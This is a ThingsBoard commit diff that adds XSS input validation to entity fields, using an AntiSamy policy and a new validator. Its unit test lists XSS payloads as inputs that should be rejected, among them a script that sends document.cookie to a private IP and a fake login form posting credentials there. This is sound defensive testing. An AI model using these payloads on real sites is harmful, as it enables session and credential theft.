Commit 593f95a7af809c1f5dc4917aa123363a0f0971a8

Authored by Viacheslav Klimov
Committed by GitHub
1 parent fd3e18f1

Provide additional validation for entities (#4326)

* Provide additional validation for entities

* Refactor

* Create test for NoXssValidator

* Refactor dependencies
Showing 29 changed files with 650 additions and 11 deletions
... ... @@ -37,6 +37,14 @@
37 37
38 38 <dependencies>
39 39 <dependency>
  40 + <groupId>javax.validation</groupId>
  41 + <artifactId>validation-api</artifactId>
  42 + </dependency>
  43 + <dependency>
  44 + <groupId>org.owasp.antisamy</groupId>
  45 + <artifactId>antisamy</artifactId>
  46 + </dependency>
  47 + <dependency>
40 48 <groupId>org.slf4j</groupId>
41 49 <artifactId>slf4j-api</artifactId>
42 50 </dependency>
... ...
... ... @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
18 18 import org.thingsboard.server.common.data.id.AdminSettingsId;
19 19
20 20 import com.fasterxml.jackson.databind.JsonNode;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 23 public class AdminSettings extends BaseData<AdminSettingsId> {
23 24
24 25 private static final long serialVersionUID = -7670322981725511892L;
25   -
  26 +
  27 + @NoXss
26 28 private String key;
27 29 private transient JsonNode jsonValue;
28 30
... ...
... ... @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
17 17
18 18 import lombok.EqualsAndHashCode;
19 19 import org.thingsboard.server.common.data.id.UUIDBased;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
21 22 @EqualsAndHashCode(callSuper = true)
22 23 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
23 24
24 25 private static final long serialVersionUID = 5047448057830660988L;
25   -
  26 +
  27 + @NoXss
26 28 protected String country;
  29 + @NoXss
27 30 protected String state;
  31 + @NoXss
28 32 protected String city;
  33 + @NoXss
29 34 protected String address;
  35 + @NoXss
30 36 protected String address2;
  37 + @NoXss
31 38 protected String zip;
  39 + @NoXss
32 40 protected String phone;
  41 + @NoXss
33 42 protected String email;
34 43
35 44 public ContactBased() {
... ...
... ... @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 20 import com.fasterxml.jackson.annotation.JsonProperty.Access;
21 21 import org.thingsboard.server.common.data.id.CustomerId;
22 22 import org.thingsboard.server.common.data.id.TenantId;
23   -
24   -import com.fasterxml.jackson.databind.JsonNode;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
25 24
26 25 public class Customer extends ContactBased<CustomerId> implements HasTenantId {
27 26
28 27 private static final long serialVersionUID = -1599722990298929275L;
29   -
  28 +
  29 + @NoXss
30 30 private String title;
31 31 private TenantId tenantId;
32 32
... ...
... ... @@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
25 25 import org.thingsboard.server.common.data.id.DeviceId;
26 26 import org.thingsboard.server.common.data.id.DeviceProfileId;
27 27 import org.thingsboard.server.common.data.id.TenantId;
  28 +import org.thingsboard.server.common.data.validation.NoXss;
28 29
29 30 import java.io.ByteArrayInputStream;
30 31 import java.io.IOException;
... ... @@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
37 38
38 39 private TenantId tenantId;
39 40 private CustomerId customerId;
  41 + @NoXss
40 42 private String name;
  43 + @NoXss
41 44 private String type;
  45 + @NoXss
42 46 private String label;
43 47 private DeviceProfileId deviceProfileId;
44 48 private transient DeviceData deviceData;
... ...
... ... @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
24 24 import org.thingsboard.server.common.data.id.DeviceProfileId;
25 25 import org.thingsboard.server.common.data.id.RuleChainId;
26 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
  29 +import javax.validation.Valid;
28 30 import java.io.ByteArrayInputStream;
29 31 import java.io.IOException;
30 32
... ... @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
36 38 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
37 39
38 40 private TenantId tenantId;
  41 + @NoXss
39 42 private String name;
  43 + @NoXss
40 44 private String description;
41 45 private boolean isDefault;
42 46 private DeviceProfileType type;
43 47 private DeviceTransportType transportType;
44 48 private DeviceProfileProvisionType provisionType;
45 49 private RuleChainId defaultRuleChainId;
  50 + @NoXss
46 51 private String defaultQueueName;
  52 + @Valid
47 53 private transient DeviceProfileData profileData;
48 54 @JsonIgnore
49 55 private byte[] profileDataBytes;
  56 + @NoXss
50 57 private String provisionDeviceKey;
51 58
52 59 public DeviceProfile() {
... ...
... ... @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
23 23 import org.thingsboard.server.common.data.id.EntityViewId;
24 24 import org.thingsboard.server.common.data.id.TenantId;
25 25 import org.thingsboard.server.common.data.objects.TelemetryEntityView;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 28 /**
28 29 * Created by Victor Basanets on 8/27/2017.
... ... @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
39 40 private EntityId entityId;
40 41 private TenantId tenantId;
41 42 private CustomerId customerId;
  43 + @NoXss
42 44 private String name;
  45 + @NoXss
43 46 private String type;
44 47 private TelemetryEntityView keys;
45 48 private long startTimeMs;
... ...
... ... @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 20 import lombok.EqualsAndHashCode;
21 21 import org.thingsboard.server.common.data.id.TenantId;
22 22 import org.thingsboard.server.common.data.id.TenantProfileId;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
23 24
24 25 @EqualsAndHashCode(callSuper = true)
25 26 public class Tenant extends ContactBased<TenantId> implements HasTenantId {
26 27
27 28 private static final long serialVersionUID = 8057243243859922101L;
28   -
  29 +
  30 + @NoXss
29 31 private String title;
  32 + @NoXss
30 33 private String region;
31 34 private TenantProfileId tenantProfileId;
32 35
... ...
... ... @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
23 23 import org.thingsboard.server.common.data.id.TenantProfileId;
24 24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
25 25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 28 import java.io.ByteArrayInputStream;
28 29 import java.io.IOException;
... ... @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
34 35 @Slf4j
35 36 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
36 37
  38 + @NoXss
37 39 private String name;
  40 + @NoXss
38 41 private String description;
39 42 private boolean isDefault;
40 43 private boolean isolatedTbCore;
... ...
... ... @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
24 24 import org.thingsboard.server.common.data.id.UserId;
25 25 import org.thingsboard.server.common.data.security.Authority;
26 26
27   -import com.fasterxml.jackson.databind.JsonNode;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
28 28
29 29 @EqualsAndHashCode(callSuper = true)
30 30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
... ... @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
35 35 private CustomerId customerId;
36 36 private String email;
37 37 private Authority authority;
  38 + @NoXss
38 39 private String firstName;
  40 + @NoXss
39 41 private String lastName;
40 42
41 43 public User() {
... ...
... ... @@ -15,12 +15,15 @@
15 15 */
16 16 package org.thingsboard.server.common.data.asset;
17 17
18   -import com.fasterxml.jackson.databind.JsonNode;
19 18 import lombok.EqualsAndHashCode;
20   -import org.thingsboard.server.common.data.*;
  19 +import org.thingsboard.server.common.data.HasCustomerId;
  20 +import org.thingsboard.server.common.data.HasName;
  21 +import org.thingsboard.server.common.data.HasTenantId;
  22 +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
21 23 import org.thingsboard.server.common.data.id.AssetId;
22 24 import org.thingsboard.server.common.data.id.CustomerId;
23 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
24 27
25 28 @EqualsAndHashCode(callSuper = true)
26 29 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
... ... @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
29 32
30 33 private TenantId tenantId;
31 34 private CustomerId customerId;
  35 + @NoXss
32 36 private String name;
  37 + @NoXss
33 38 private String type;
  39 + @NoXss
34 40 private String label;
35 41
36 42 public Asset() {
... ...
... ... @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
19 19 import lombok.Data;
20   -import org.thingsboard.server.common.data.query.KeyFilter;
21 20
  21 +import javax.validation.Valid;
22 22 import java.util.List;
23   -import java.util.concurrent.TimeUnit;
24 23
25 24 @Data
26 25 @JsonIgnoreProperties(ignoreUnknown = true)
27 26 public class AlarmCondition {
28 27
  28 + @Valid
29 29 private List<AlarmConditionFilter> condition;
30 30 private AlarmConditionSpec spec;
31 31
... ...
... ... @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
18 18 import lombok.Data;
19 19 import org.thingsboard.server.common.data.query.EntityKeyValueType;
20 20 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
  22 +
  23 +import javax.validation.Valid;
21 24
22 25 @Data
23 26 public class AlarmConditionFilter {
24 27
  28 + @Valid
25 29 private AlarmConditionFilterKey key;
26 30 private EntityKeyValueType valueType;
  31 + @NoXss
27 32 private Object value;
  33 + @Valid
28 34 private KeyFilterPredicate predicate;
29 35
30 36 }
... ...
... ... @@ -16,11 +16,13 @@
16 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
19 20
20 21 @Data
21 22 public class AlarmConditionFilterKey {
22 23
23 24 private final AlarmConditionKeyType type;
  25 + @NoXss
24 26 private final String key;
25 27
26 28 }
... ...
... ... @@ -16,13 +16,18 @@
16 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
  20 +
  21 +import javax.validation.Valid;
19 22
20 23 @Data
21 24 public class AlarmRule {
22 25
  26 + @Valid
23 27 private AlarmCondition condition;
24 28 private AlarmSchedule schedule;
25 29 // Advanced
  30 + @NoXss
26 31 private String alarmDetails;
27 32
28 33 }
... ...
... ... @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
19 19 import org.thingsboard.server.common.data.alarm.AlarmSeverity;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
  22 +import javax.validation.Valid;
21 23 import java.util.List;
22 24 import java.util.TreeMap;
23 25
... ... @@ -25,9 +27,12 @@ import java.util.TreeMap;
25 27 public class DeviceProfileAlarm {
26 28
27 29 private String id;
  30 + @NoXss
28 31 private String alarmType;
29 32
  33 + @Valid
30 34 private TreeMap<AlarmSeverity, AlarmRule> createRules;
  35 + @Valid
31 36 private AlarmRule clearRule;
32 37
33 38 // Hidden in advanced settings
... ...
... ... @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
20 21 import java.util.List;
21 22
22 23 @Data
... ... @@ -25,6 +26,7 @@ public class DeviceProfileData {
25 26 private DeviceProfileConfiguration configuration;
26 27 private DeviceProfileTransportConfiguration transportConfiguration;
27 28 private DeviceProfileProvisionConfiguration provisionConfiguration;
  29 + @Valid
28 30 private List<DeviceProfileAlarm> alarms;
29 31
30 32 }
... ...
... ... @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
18 18 import com.fasterxml.jackson.annotation.JsonIgnore;
19 19 import lombok.Data;
20 20 import lombok.RequiredArgsConstructor;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 23 @Data
23 24 @RequiredArgsConstructor
... ... @@ -27,6 +28,7 @@ public class DynamicValue<T> {
27 28 private T resolvedValue;
28 29
29 30 private final DynamicValueSourceType sourceType;
  31 + @NoXss
30 32 private final String sourceAttribute;
31 33 private final boolean inherit;
32 34
... ...
... ... @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
20 20 import com.fasterxml.jackson.annotation.JsonProperty;
21 21 import lombok.Data;
22 22 import lombok.Getter;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
  24 +
  25 +import javax.validation.Valid;
23 26
24 27 @Data
25 28 public class FilterPredicateValue<T> {
26 29
27 30 @Getter
  31 + @NoXss
28 32 private final T defaultValue;
29 33 @Getter
  34 + @NoXss
30 35 private final T userValue;
31 36 @Getter
  37 + @Valid
32 38 private final DynamicValue<T> dynamicValue;
33 39
34 40 public FilterPredicateValue(T defaultValue) {
... ...
... ... @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
17 17
18 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
  21 +
20 22 @Data
21 23 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
22 24
23 25 private StringOperation operation;
  26 + @Valid
24 27 private FilterPredicateValue<String> value;
25 28 private boolean ignoreCase;
26 29
... ...
... ... @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
26 26 import org.thingsboard.server.common.data.id.RuleChainId;
27 27 import org.thingsboard.server.common.data.id.RuleNodeId;
28 28 import org.thingsboard.server.common.data.id.TenantId;
  29 +import org.thingsboard.server.common.data.validation.NoXss;
29 30
30 31 @Data
31 32 @EqualsAndHashCode(callSuper = true)
... ... @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
35 36 private static final long serialVersionUID = -5656679015121935465L;
36 37
37 38 private TenantId tenantId;
  39 + @NoXss
38 40 private String name;
39 41 private RuleNodeId firstRuleNodeId;
40 42 private boolean root;
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.common.data.validation;
  17 +
  18 +import javax.validation.Constraint;
  19 +import javax.validation.Payload;
  20 +import java.lang.annotation.ElementType;
  21 +import java.lang.annotation.Retention;
  22 +import java.lang.annotation.RetentionPolicy;
  23 +import java.lang.annotation.Target;
  24 +
  25 +@Retention(RetentionPolicy.RUNTIME)
  26 +@Target(ElementType.FIELD)
  27 +@Constraint(validatedBy = {})
  28 +public @interface NoXss {
  29 + String message() default "field value is malformed";
  30 +
  31 + Class<?>[] groups() default {};
  32 +
  33 + Class<? extends Payload>[] payload() default {};
  34 +}
... ...
... ... @@ -108,6 +108,14 @@
108 108 <artifactId>jackson-databind</artifactId>
109 109 </dependency>
110 110 <dependency>
  111 + <groupId>org.hibernate.validator</groupId>
  112 + <artifactId>hibernate-validator</artifactId>
  113 + </dependency>
  114 + <dependency>
  115 + <groupId>org.glassfish</groupId>
  116 + <artifactId>javax.el</artifactId>
  117 + </dependency>
  118 + <dependency>
111 119 <groupId>org.springframework</groupId>
112 120 <artifactId>spring-context</artifactId>
113 121 </dependency>
... ... @@ -195,6 +203,11 @@
195 203 <scope>test</scope>
196 204 </dependency>
197 205 <dependency>
  206 + <groupId>org.junit.jupiter</groupId>
  207 + <artifactId>junit-jupiter-params</artifactId>
  208 + <scope>test</scope>
  209 + </dependency>
  210 + <dependency>
198 211 <groupId>org.springframework</groupId>
199 212 <artifactId>spring-context-support</artifactId>
200 213 </dependency>
... ...
... ... @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
17 17
18 18 import com.fasterxml.jackson.databind.JsonNode;
19 19 import lombok.extern.slf4j.Slf4j;
  20 +import org.hibernate.validator.HibernateValidator;
  21 +import org.hibernate.validator.HibernateValidatorConfiguration;
  22 +import org.hibernate.validator.cfg.ConstraintMapping;
20 23 import org.thingsboard.server.common.data.BaseData;
21 24 import org.thingsboard.server.common.data.EntityType;
22 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
23 27 import org.thingsboard.server.dao.TenantEntityDao;
24 28 import org.thingsboard.server.dao.exception.DataValidationException;
25 29
  30 +import javax.validation.ConstraintViolation;
  31 +import javax.validation.Validation;
  32 +import javax.validation.Validator;
26 33 import java.util.HashSet;
27 34 import java.util.Iterator;
  35 +import java.util.List;
28 36 import java.util.Set;
29 37 import java.util.function.Function;
30 38 import java.util.regex.Matcher;
31 39 import java.util.regex.Pattern;
  40 +import java.util.stream.Collectors;
32 41
33 42 @Slf4j
34 43 public abstract class DataValidator<D extends BaseData<?>> {
35 44 private static final Pattern EMAIL_PATTERN =
36 45 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
37 46
  47 + private static Validator fieldsValidator;
  48 +
  49 + static {
  50 + initializeFieldsValidator();
  51 + }
  52 +
38 53 public void validate(D data, Function<D, TenantId> tenantIdFunction) {
39 54 try {
40 55 if (data == null) {
41 56 throw new DataValidationException("Data object can't be null!");
42 57 }
  58 +
  59 + List<String> validationErrors = validateFields(data);
  60 + if (!validationErrors.isEmpty()) {
  61 + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
  62 + }
  63 +
43 64 TenantId tenantId = tenantIdFunction.apply(data);
44 65 validateDataImpl(tenantId, data);
45 66 if (data.getId() == null) {
... ... @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
81 102 return emailMatcher.matches();
82 103 }
83 104
  105 + private List<String> validateFields(D data) {
  106 + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
  107 + return constraintsViolations.stream()
  108 + .map(ConstraintViolation::getMessage)
  109 + .distinct()
  110 + .collect(Collectors.toList());
  111 + }
  112 +
84 113 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
85 114 TenantEntityDao tenantEntityDao,
86 115 long maxEntities,
... ... @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
111 140 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
112 141 }
113 142 }
  143 +
  144 + private static void initializeFieldsValidator() {
  145 + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
  146 + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
  147 + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
  148 + validatorConfiguration.addMapping(constraintMapping);
  149 +
  150 + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
  151 + }
114 152 }
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.owasp.validator.html.AntiSamy;
  21 +import org.owasp.validator.html.Policy;
  22 +import org.owasp.validator.html.PolicyException;
  23 +import org.owasp.validator.html.ScanException;
  24 +import org.thingsboard.server.common.data.validation.NoXss;
  25 +
  26 +import javax.validation.ConstraintValidator;
  27 +import javax.validation.ConstraintValidatorContext;
  28 +
  29 +@Slf4j
  30 +public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
  31 + private static final AntiSamy xssChecker = new AntiSamy();
  32 + private static Policy xssPolicy;
  33 +
  34 + @Override
  35 + public void initialize(NoXss constraintAnnotation) {
  36 + if (xssPolicy == null) {
  37 + try {
  38 + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
  39 + } catch (Exception e) {
  40 + log.error("Failed to set xss policy: {}", e.getMessage());
  41 + }
  42 + }
  43 + }
  44 +
  45 + @Override
  46 + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
  47 + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
  48 + return true;
  49 + }
  50 +
  51 + try {
  52 + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
  53 + } catch (ScanException | PolicyException e) {
  54 + return false;
  55 + }
  56 + }
  57 +}
... ...
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
\ No newline at end of file
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import org.junit.jupiter.api.BeforeAll;
  19 +import org.junit.jupiter.params.ParameterizedTest;
  20 +import org.junit.jupiter.params.provider.ValueSource;
  21 +
  22 +import javax.validation.ConstraintValidatorContext;
  23 +
  24 +import static org.junit.jupiter.api.Assertions.assertFalse;
  25 +import static org.mockito.Mockito.mock;
  26 +
  27 +public class NoXssValidatorTest {
  28 + private static NoXssValidator validator;
  29 +
  30 + @BeforeAll
  31 + public static void beforeAll() {
  32 + validator = new NoXssValidator();
  33 + validator.initialize(null);
  34 + }
  35 +
  36 + @ParameterizedTest
  37 + @ValueSource(strings = {
  38 + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
  39 + "9090<body onload=alert('xsssss')>90909",
  40 + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
  41 + "bambam<script>alert(document.cookie)</script>",
  42 + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
  43 + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
  44 + " <img src= \"http://site.com/\" > ",
  45 + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
  46 + })
  47 + public void testIsNotValid(String stringWithXss) {
  48 + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
  49 + assertFalse(isValid);
  50 + }
  51 +
  52 +}
... ...
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
